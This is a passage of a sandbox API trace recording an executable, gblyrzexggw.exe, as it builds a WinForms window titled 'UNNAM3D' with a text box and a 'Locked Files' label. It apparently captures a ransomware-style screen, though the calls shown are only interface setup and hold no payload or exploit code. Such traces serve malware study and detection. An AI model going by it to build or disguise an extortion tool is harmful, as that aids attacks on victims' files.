dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.883] GetCurrentActCtx (in: lphActCtx=0x3ef0c8 | out: lphActCtx=0x3ef0c8*=0x0) returned 1 [0032.883] ActivateActCtx (in: hActCtx=0x57c35c, lpCookie=0x3ef0d8 | out: hActCtx=0x57c35c, lpCookie=0x3ef0d8) returned 1 [0032.883] GetCurrentActCtx (in: lphActCtx=0x3eeee8 | out: lphActCtx=0x3eeee8*=0x57c35c) returned 1 [0032.883] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0032.883] AdjustWindowRectEx (in: lpRect=0x3eee4c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x3eee4c) returned 1 [0032.883] GetCursorPos (in: lpPoint=0x2f6c4bc | out: lpPoint=0x2f6c4bc*(x=424, y=718)) returned 1 [0032.883] MonitorFromPoint (pt=0x1a8, dwFlags=0x2ce) returned 0x10001 [0032.883] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3eed28 | out: lpmi=0x3eed28) returned 1 [0032.883] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xd010823 [0032.883] GetDeviceCaps (hdc=0xd010823, index=12) returned 32 [0032.884] GetDeviceCaps (hdc=0xd010823, index=14) returned 1 [0032.884] DeleteDC (hdc=0xd010823) returned 1 [0032.884] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3eed7c | out: lpmi=0x3eed7c) returned 1 [0032.884] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0032.884] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="UNNAM3D", dwStyle=0x2010000, X=486, Y=215, nWidth=468, nHeight=430, hWndParent=0x0, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x80044 [0032.885] SetWindowLongW (hWnd=0x80044, nIndex=-4, dwNewLong=2011243997) returned 19269902 [0032.885] GetWindowLongW (hWnd=0x80044, nIndex=-4) returned 2011243997 [0032.885] SetWindowLongW (hWnd=0x80044, nIndex=-4, dwNewLong=19270870) returned 2011243997 [0032.885] GetWindowLongW (hWnd=0x80044, nIndex=-4) returned 19270870 [0032.885] GetWindowLongW (hWnd=0x80044, nIndex=-16) returned 113311744 [0032.885] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x81, wParam=0x0, lParam=0x3ee97c) returned 0x1 [0032.885] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x83, wParam=0x0, lParam=0x3ee968) returned 0x0 [0033.109] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x1, wParam=0x0, lParam=0x3ee97c) returned 0x0 [0033.109] GetClientRect (in: hWnd=0x80044, lpRect=0x3ee6b4 | out: lpRect=0x3ee6b4) returned 1 [0033.109] GetWindowRect (in: hWnd=0x80044, lpRect=0x3ee6b4 | out: lpRect=0x3ee6b4) returned 1 [0033.109] SetWindowTextW (hWnd=0x80044, lpString="UNNAM3D") returned 1 [0033.109] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xc, wParam=0x0, lParam=0x2f6b5c8) returned 0x1 [0033.110] GetStartupInfoW (in: lpStartupInfo=0x2f6c884 | out: lpStartupInfo=0x2f6c884*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0033.110] GetParent (hWnd=0x80044) returned 0x0 [0033.110] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.110] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x6006c [0033.110] SetWindowLongW (hWnd=0x6006c, nIndex=-4, dwNewLong=2011243997) returned 19270102 [0033.110] GetWindowLongW (hWnd=0x6006c, nIndex=-4) returned 2011243997 [0033.111] SetWindowLongW (hWnd=0x6006c, nIndex=-4, dwNewLong=19270910) returned 2011243997 [0033.111] GetWindowLongW (hWnd=0x6006c, nIndex=-4) returned 19270910 [0033.111] GetWindowLongW (hWnd=0x6006c, nIndex=-16) returned 79691776 [0033.111] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x24, wParam=0x0, lParam=0x3ee9b0) returned 0x0 [0033.111] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x81, wParam=0x0, lParam=0x3ee9a4) returned 0x1 [0033.111] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x83, wParam=0x0, lParam=0x3ee990) returned 0x0 [0033.111] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x1, wParam=0x0, lParam=0x3ee9a4) returned 0x0 [0033.111] SetWindowLongW (hWnd=0x80044, nIndex=-8, dwNewLong=393324) returned 0 [0033.112] SendMessageW (hWnd=0x80044, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0033.112] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0033.112] SendMessageW (hWnd=0x80044, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0033.112] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0033.116] GetSystemMenu (hWnd=0x80044, bRevert=0) returned 0x0 [0033.116] GetWindowPlacement (in: hWnd=0x80044, lpwndpl=0x3eeef8 | out: lpwndpl=0x3eeef8) returned 1 [0033.117] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0033.117] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0033.117] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0033.117] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0033.117] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0033.117] GetClientRect (in: hWnd=0x80044, lpRect=0x3eef3c | out: lpRect=0x3eef3c) returned 1 [0033.117] GetClientRect (in: hWnd=0x80044, lpRect=0x3eee9c | out: lpRect=0x3eee9c) returned 1 [0033.117] GetWindowRect (in: hWnd=0x80044, lpRect=0x3eee9c | out: lpRect=0x3eee9c) returned 1 [0033.117] SetWindowLongW (hWnd=0x80044, nIndex=-8, dwNewLong=393324) returned 393324 [0033.118] GetSystemMetrics (nIndex=11) returned 32 [0033.118] GetSystemMetrics (nIndex=12) returned 32 [0033.118] GetDC (hWnd=0x0) returned 0x101080c [0033.118] GetDeviceCaps (hdc=0x101080c, index=12) returned 32 [0033.118] GetDeviceCaps (hdc=0x101080c, index=14) returned 1 [0033.119] ReleaseDC (hWnd=0x0, hDC=0x101080c) returned 1 [0033.119] CreateIconFromResourceEx (presbits=0x2f6f350, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x201b1 [0033.120] SendMessageW (hWnd=0x6006c, Msg=0x80, wParam=0x1, lParam=0x201b1) returned 0x0 [0033.120] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x80, wParam=0x1, lParam=0x201b1) returned 0x0 [0033.120] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0xd, wParam=0x104, lParam=0x12cc5e0) returned 0x0 [0033.120] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0xd, wParam=0x104, lParam=0x12cc5e0) returned 0x0 [0033.120] SetWindowPos (hWnd=0x80044, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0033.120] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x46, wParam=0x0, lParam=0x3eeeb4) returned 0x0 [0033.121] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x46, wParam=0x0, lParam=0x3eeeb4) returned 0x0 [0033.133] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x46, wParam=0x0, lParam=0x3eeeb4) returned 0x0 [0033.133] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x46, wParam=0x0, lParam=0x3eeeb4) returned 0x0 [0033.133] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x1c, wParam=0x1, lParam=0x260) returned 0x0 [0033.133] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x1c, wParam=0x1, lParam=0x260) returned 0x0 [0033.133] NtdllDefWindowProc_W () returned 0x0 [0033.133] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0033.134] OleInitialize (pvReserved=0x0) returned 0x0 [0033.134] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x3eec74 | out: lplpMessageFilter=0x3eec74*=0x0) returned 0x0 [0033.542] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0033.544] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0033.545] GetParent (hWnd=0x80044) returned 0x0 [0033.545] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0033.545] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0033.545] GetWindowPlacement (in: hWnd=0x80044, lpwndpl=0x3eec64 | out: lpwndpl=0x3eec64) returned 1 [0033.545] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x47, wParam=0x0, lParam=0x3eeeb4) returned 0x0 [0033.545] GetClientRect (in: hWnd=0x80044, lpRect=0x3eec14 | out: lpRect=0x3eec14) returned 1 [0033.545] GetWindowRect (in: hWnd=0x80044, lpRect=0x3eec14 | out: lpRect=0x3eec14) returned 1 [0033.546] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x83, wParam=0x1, lParam=0x3eea98) returned 0x0 [0033.547] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.547] GetWindowLongW (hWnd=0x80044, nIndex=-16) returned 113311744 [0033.547] GetCursorPos (in: lpPoint=0x2f706c8 | out: lpPoint=0x2f706c8*(x=170, y=368)) returned 1 [0033.547] MonitorFromPoint (pt=0xaa, dwFlags=0x170) returned 0x10001 [0033.547] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3eed68 | out: lpmi=0x3eed68) returned 1 [0033.547] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x11010713 [0033.547] GetDeviceCaps (hdc=0x11010713, index=12) returned 32 [0033.547] GetDeviceCaps (hdc=0x11010713, index=14) returned 1 [0033.547] DeleteDC (hdc=0x11010713) returned 1 [0033.547] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3eedbc | out: lpmi=0x3eedbc) returned 1 [0033.547] GetWindowLongW (hWnd=0x80044, nIndex=-16) returned 113311744 [0033.547] GetWindowLongW (hWnd=0x80044, nIndex=-20) returned 65800 [0033.547] SetWindowLongW (hWnd=0x80044, nIndex=-16, dwNewLong=33619968) returned 113311744 [0033.547] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x7c, wParam=0xfffffff0, lParam=0x3eee90) returned 0x0 [0033.547] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x7d, wParam=0xfffffff0, lParam=0x3eee90) returned 0x0 [0033.548] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x46, wParam=0x0, lParam=0x3ee810) returned 0x0 [0033.548] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x83, wParam=0x1, lParam=0x3ee7e8) returned 0x0 [0033.548] GetWindowPlacement (in: hWnd=0x80044, lpwndpl=0x3ee5c0 | out: lpwndpl=0x3ee5c0) returned 1 [0033.548] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x47, wParam=0x0, lParam=0x3ee810) returned 0x0 [0033.548] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x3, wParam=0x0, lParam=0xd701e6) returned 0x0 [0033.548] GetClientRect (in: hWnd=0x80044, lpRect=0x3ee0d4 | out: lpRect=0x3ee0d4) returned 1 [0033.548] GetWindowRect (in: hWnd=0x80044, lpRect=0x3ee0d4 | out: lpRect=0x3ee0d4) returned 1 [0033.548] GetWindowTextLengthW (hWnd=0x80044) returned 7 [0033.548] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0033.548] GetSystemMetrics (nIndex=42) returned 0 [0033.549] GetWindowTextW (in: hWnd=0x80044, lpString=0x3edf40, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0033.549] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xd, wParam=0x8, lParam=0x3edf40) returned 0x7 [0033.549] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x5, wParam=0x0, lParam=0x1ae01d4) returned 0x0 [0033.549] GetClientRect (in: hWnd=0x80044, lpRect=0x3ee570 | out: lpRect=0x3ee570) returned 1 [0033.549] GetWindowRect (in: hWnd=0x80044, lpRect=0x3ee570 | out: lpRect=0x3ee570) returned 1 [0033.549] SetWindowLongW (hWnd=0x80044, nIndex=-20, dwNewLong=65536) returned 65544 [0033.549] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x7c, wParam=0xffffffec, lParam=0x3eee90) returned 0x0 [0033.549] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x7d, wParam=0xffffffec, lParam=0x3eee90) returned 0x0 [0033.549] SetWindowPos (hWnd=0x80044, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0033.549] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x46, wParam=0x0, lParam=0x3eeeb0) returned 0x0 [0033.549] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x83, wParam=0x1, lParam=0x3eee88) returned 0x0 [0033.550] GetWindowPlacement (in: hWnd=0x80044, lpwndpl=0x3eec60 | out: lpwndpl=0x3eec60) returned 1 [0033.550] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x47, wParam=0x0, lParam=0x3eeeb0) returned 0x0 [0033.550] GetClientRect (in: hWnd=0x80044, lpRect=0x3eec10 | out: lpRect=0x3eec10) returned 1 [0033.550] GetWindowRect (in: hWnd=0x80044, lpRect=0x3eec10 | out: lpRect=0x3eec10) returned 1 [0033.550] RedrawWindow (hWnd=0x80044, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0033.550] GetSystemMenu (hWnd=0x80044, bRevert=0) returned 0x0 [0033.550] GetWindowPlacement (in: hWnd=0x80044, lpwndpl=0x3eeee8 | out: lpwndpl=0x3eeee8) returned 1 [0033.550] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0033.550] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0033.550] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0033.550] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0033.550] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0033.550] ShowWindow (hWnd=0x80044, nCmdShow=5) returned 0 [0033.550] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.550] GetCurrentActCtx (in: lphActCtx=0x3eeb90 | out: lphActCtx=0x3eeb90*=0x57c35c) returned 1 [0033.550] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.551] GetClassInfoW (in: hInstance=0x0, lpClassName="RichEdit20W", lpWndClass=0x2f70a9c | out: lpWndClass=0x2f70a9c) returned 1 [0033.551] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.551] CoTaskMemAlloc (cb=0x62) returned 0x5869c0 [0033.551] RegisterClassW (lpWndClass=0x3eea48) returned 0xc132 [0033.551] CoTaskMemFree (pv=0x5869c0) [0033.551] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.551] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.RichEdit20W.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56210844, X=15, Y=278, nWidth=141, nHeight=125, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x60024 [0033.551] SetWindowLongW (hWnd=0x60024, nIndex=-4, dwNewLong=1960780026) returned 19270950 [0033.552] GetWindowLongW (hWnd=0x60024, nIndex=-4) returned 1960780026 [0033.552] SetWindowLongW (hWnd=0x60024, nIndex=-4, dwNewLong=19270990) returned 1960780026 [0033.552] GetWindowLongW (hWnd=0x60024, nIndex=-4) returned 19270990 [0033.552] GetWindowLongW (hWnd=0x60024, nIndex=-16) returned 1176569924 [0033.552] GetWindowLongW (hWnd=0x60024, nIndex=-12) returned 0 [0033.552] SetWindowLongW (hWnd=0x60024, nIndex=-12, dwNewLong=393252) returned 0 [0033.552] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x81, wParam=0x0, lParam=0x3ee624) returned 0x1 [0033.554] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x7c, wParam=0xffffffec, lParam=0x3ecf88) returned 0x0 [0033.555] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x7d, wParam=0xffffffec, lParam=0x3ecf88) returned 0x0 [0033.559] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x83, wParam=0x0, lParam=0x3ee610) returned 0x0 [0033.559] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x1, wParam=0x0, lParam=0x3ee624) returned 0x0 [0033.562] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x46, wParam=0x0, lParam=0x3ed82c) returned 0x0 [0033.562] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x83, wParam=0x1, lParam=0x3ed804) returned 0x0 [0033.563] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x47, wParam=0x0, lParam=0x3ed82c) returned 0x0 [0033.563] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x5, wParam=0x0, lParam=0x790089) returned 0x0 [0033.563] GetClientRect (in: hWnd=0x60024, lpRect=0x3ed584 | out: lpRect=0x3ed584) returned 1 [0033.563] GetWindowRect (in: hWnd=0x60024, lpRect=0x3ed584 | out: lpRect=0x3ed584) returned 1 [0033.563] GetParent (hWnd=0x60024) returned 0x80044 [0033.563] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ed584, cPoints=0x2 | out: lpPoints=0x3ed584) returned -14025190 [0033.563] GetParent (hWnd=0x60024) returned 0x80044 [0033.584] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x7c, wParam=0xfffffff0, lParam=0x3ed8d0) returned 0x0 [0033.584] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x7d, wParam=0xfffffff0, lParam=0x3ed8d0) returned 0x1 [0033.584] GetWindow (hWnd=0x60024, uCmd=0x3) returned 0x0 [0033.584] GetClientRect (in: hWnd=0x60024, lpRect=0x3ee364 | out: lpRect=0x3ee364) returned 1 [0033.584] GetWindowRect (in: hWnd=0x60024, lpRect=0x3ee364 | out: lpRect=0x3ee364) returned 1 [0033.584] GetParent (hWnd=0x60024) returned 0x80044 [0033.584] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee364, cPoints=0x2 | out: lpPoints=0x3ee364) returned -14025190 [0033.584] SendMessageW (hWnd=0x60024, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0033.584] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0033.584] SendMessageW (hWnd=0x60024, Msg=0x445, wParam=0x0, lParam=0x4bf000f) returned 0x0 [0033.584] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x445, wParam=0x0, lParam=0x4bf000f) returned 0x0 [0033.585] SendMessageW (hWnd=0x60024, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0033.585] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0033.587] SendMessageW (hWnd=0x60024, Msg=0x44d, wParam=0x4, lParam=0x1) returned 0x841 [0033.587] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x44d, wParam=0x4, lParam=0x1) returned 0x841 [0033.587] SendMessageW (hWnd=0x60024, Msg=0x443, wParam=0x0, lParam=0x0) returned 0xffffff [0033.587] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x443, wParam=0x0, lParam=0x0) returned 0xffffff [0033.587] SendMessageW (hWnd=0x60024, Msg=0x43a, wParam=0x0, lParam=0x3ee23c) returned 0xf800003f [0033.587] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x43a, wParam=0x0, lParam=0x3ee23c) returned 0xf800003f [0033.587] SendMessageW (hWnd=0x60024, Msg=0x444, wParam=0x4, lParam=0x3ee23c) returned 0x1 [0033.587] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x444, wParam=0x4, lParam=0x3ee23c) returned 0x1 [0033.588] SendMessageW (hWnd=0x60024, Msg=0x204e, wParam=0x60024, lParam=0x3ed418) returned 0x0 [0033.596] SendMessageW (hWnd=0x60024, Msg=0x2111, wParam=0x3000024, lParam=0x60024) returned 0x0 [0033.596] SendMessageW (hWnd=0x60024, Msg=0x30, wParam=0xe0a07eb, lParam=0x0) returned 0x1 [0033.596] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x30, wParam=0xe0a07eb, lParam=0x0) returned 0x1 [0033.597] SendMessageW (hWnd=0x60024, Msg=0x204e, wParam=0x60024, lParam=0x3ed094) returned 0x0 [0033.597] SendMessageW (hWnd=0x60024, Msg=0x204e, wParam=0x60024, lParam=0x3ed3cc) returned 0x0 [0033.597] SendMessageW (hWnd=0x60024, Msg=0x2111, wParam=0x3000024, lParam=0x60024) returned 0x0 [0033.597] SendMessageW (hWnd=0x60024, Msg=0x43a, wParam=0x0, lParam=0x3edf4c) returned 0xf800003f [0033.597] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x43a, wParam=0x0, lParam=0x3edf4c) returned 0xf800003f [0033.597] SendMessageW (hWnd=0x60024, Msg=0x444, wParam=0x4, lParam=0x3edf4c) returned 0x1 [0033.597] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x444, wParam=0x4, lParam=0x3edf4c) returned 0x1 [0033.597] SendMessageW (hWnd=0x60024, Msg=0x204e, wParam=0x60024, lParam=0x3ed128) returned 0x0 [0033.597] SendMessageW (hWnd=0x60024, Msg=0x2111, wParam=0x3000024, lParam=0x60024) returned 0x0 [0033.598] GetSystemMetrics (nIndex=5) returned 1 [0033.598] GetSystemMetrics (nIndex=6) returned 1 [0033.598] SendMessageW (hWnd=0x60024, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0033.598] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0033.605] SendMessageW (hWnd=0x60024, Msg=0x446, wParam=0x0, lParam=0x4a0010) returned 0x1 [0033.605] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x446, wParam=0x0, lParam=0x4a0010) returned 0x1 [0033.608] DragAcceptFiles (hWnd=0x60024, fAccept=0) [0033.608] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x7c, wParam=0xffffffec, lParam=0x3ee218) returned 0x0 [0033.608] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x7d, wParam=0xffffffec, lParam=0x3ee218) returned 0x1 [0033.609] SendMessageW (hWnd=0x60024, Msg=0xc, wParam=0x0, lParam=0x2f21230) returned 0x1 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0xc, wParam=0x0, lParam=0x2f21230) returned 0x1 [0033.609] SendMessageW (hWnd=0x60024, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0033.609] SendMessageW (hWnd=0x60024, Msg=0x479, wParam=0x0, lParam=0x0) returned 0x82 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x479, wParam=0x0, lParam=0x0) returned 0x82 [0033.609] SendMessageW (hWnd=0x60024, Msg=0xcd, wParam=0x0, lParam=0x0) returned 0x0 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0xcd, wParam=0x0, lParam=0x0) returned 0x0 [0033.609] SendMessageW (hWnd=0x60024, Msg=0x4e1, wParam=0x0, lParam=0x0) returned 0x1 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x4e1, wParam=0x0, lParam=0x0) returned 0x1 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x5, wParam=0x0, lParam=0x790089) returned 0x0 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x3, wParam=0x0, lParam=0x1180011) returned 0x0 [0033.609] GetClientRect (in: hWnd=0x60024, lpRect=0x3ee3bc | out: lpRect=0x3ee3bc) returned 1 [0033.609] GetWindowRect (in: hWnd=0x60024, lpRect=0x3ee3bc | out: lpRect=0x3ee3bc) returned 1 [0033.609] GetParent (hWnd=0x60024) returned 0x80044 [0033.609] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80044, lpPoints=0x3ee3bc, cPoints=0x2 | out: lpPoints=0x3ee3bc) returned -14025190 [0033.609] SendMessageW (hWnd=0x60024, Msg=0x2210, wParam=0x240001, lParam=0x60024) returned 0x0 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x2210, wParam=0x240001, lParam=0x60024) returned 0x0 [0033.609] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.609] GetParent (hWnd=0x60024) returned 0x80044 [0033.609] GetCurrentActCtx (in: lphActCtx=0x3eebb4 | out: lphActCtx=0x3eebb4*=0x57c35c) returned 1 [0033.609] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74e70000 [0033.610] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x2f71128 | out: lpWndClass=0x2f71128) returned 1 [0033.610] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.610] CoTaskMemAlloc (cb=0x58) returned 0x54e2d8 [0033.610] RegisterClassW (lpWndClass=0x3eea6c) returned 0xc138 [0033.610] CoTaskMemFree (pv=0x54e2d8) [0033.610] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0033.610] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Locked Files", dwStyle=0x5600000d, X=15, Y=262, nWidth=79, nHeight=13, hWndParent=0x80044, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x601ae [0033.610] SetWindowLongW (hWnd=0x601ae, nIndex=-4, dwNewLong=1961408713) returned 19272374 [0033.611] 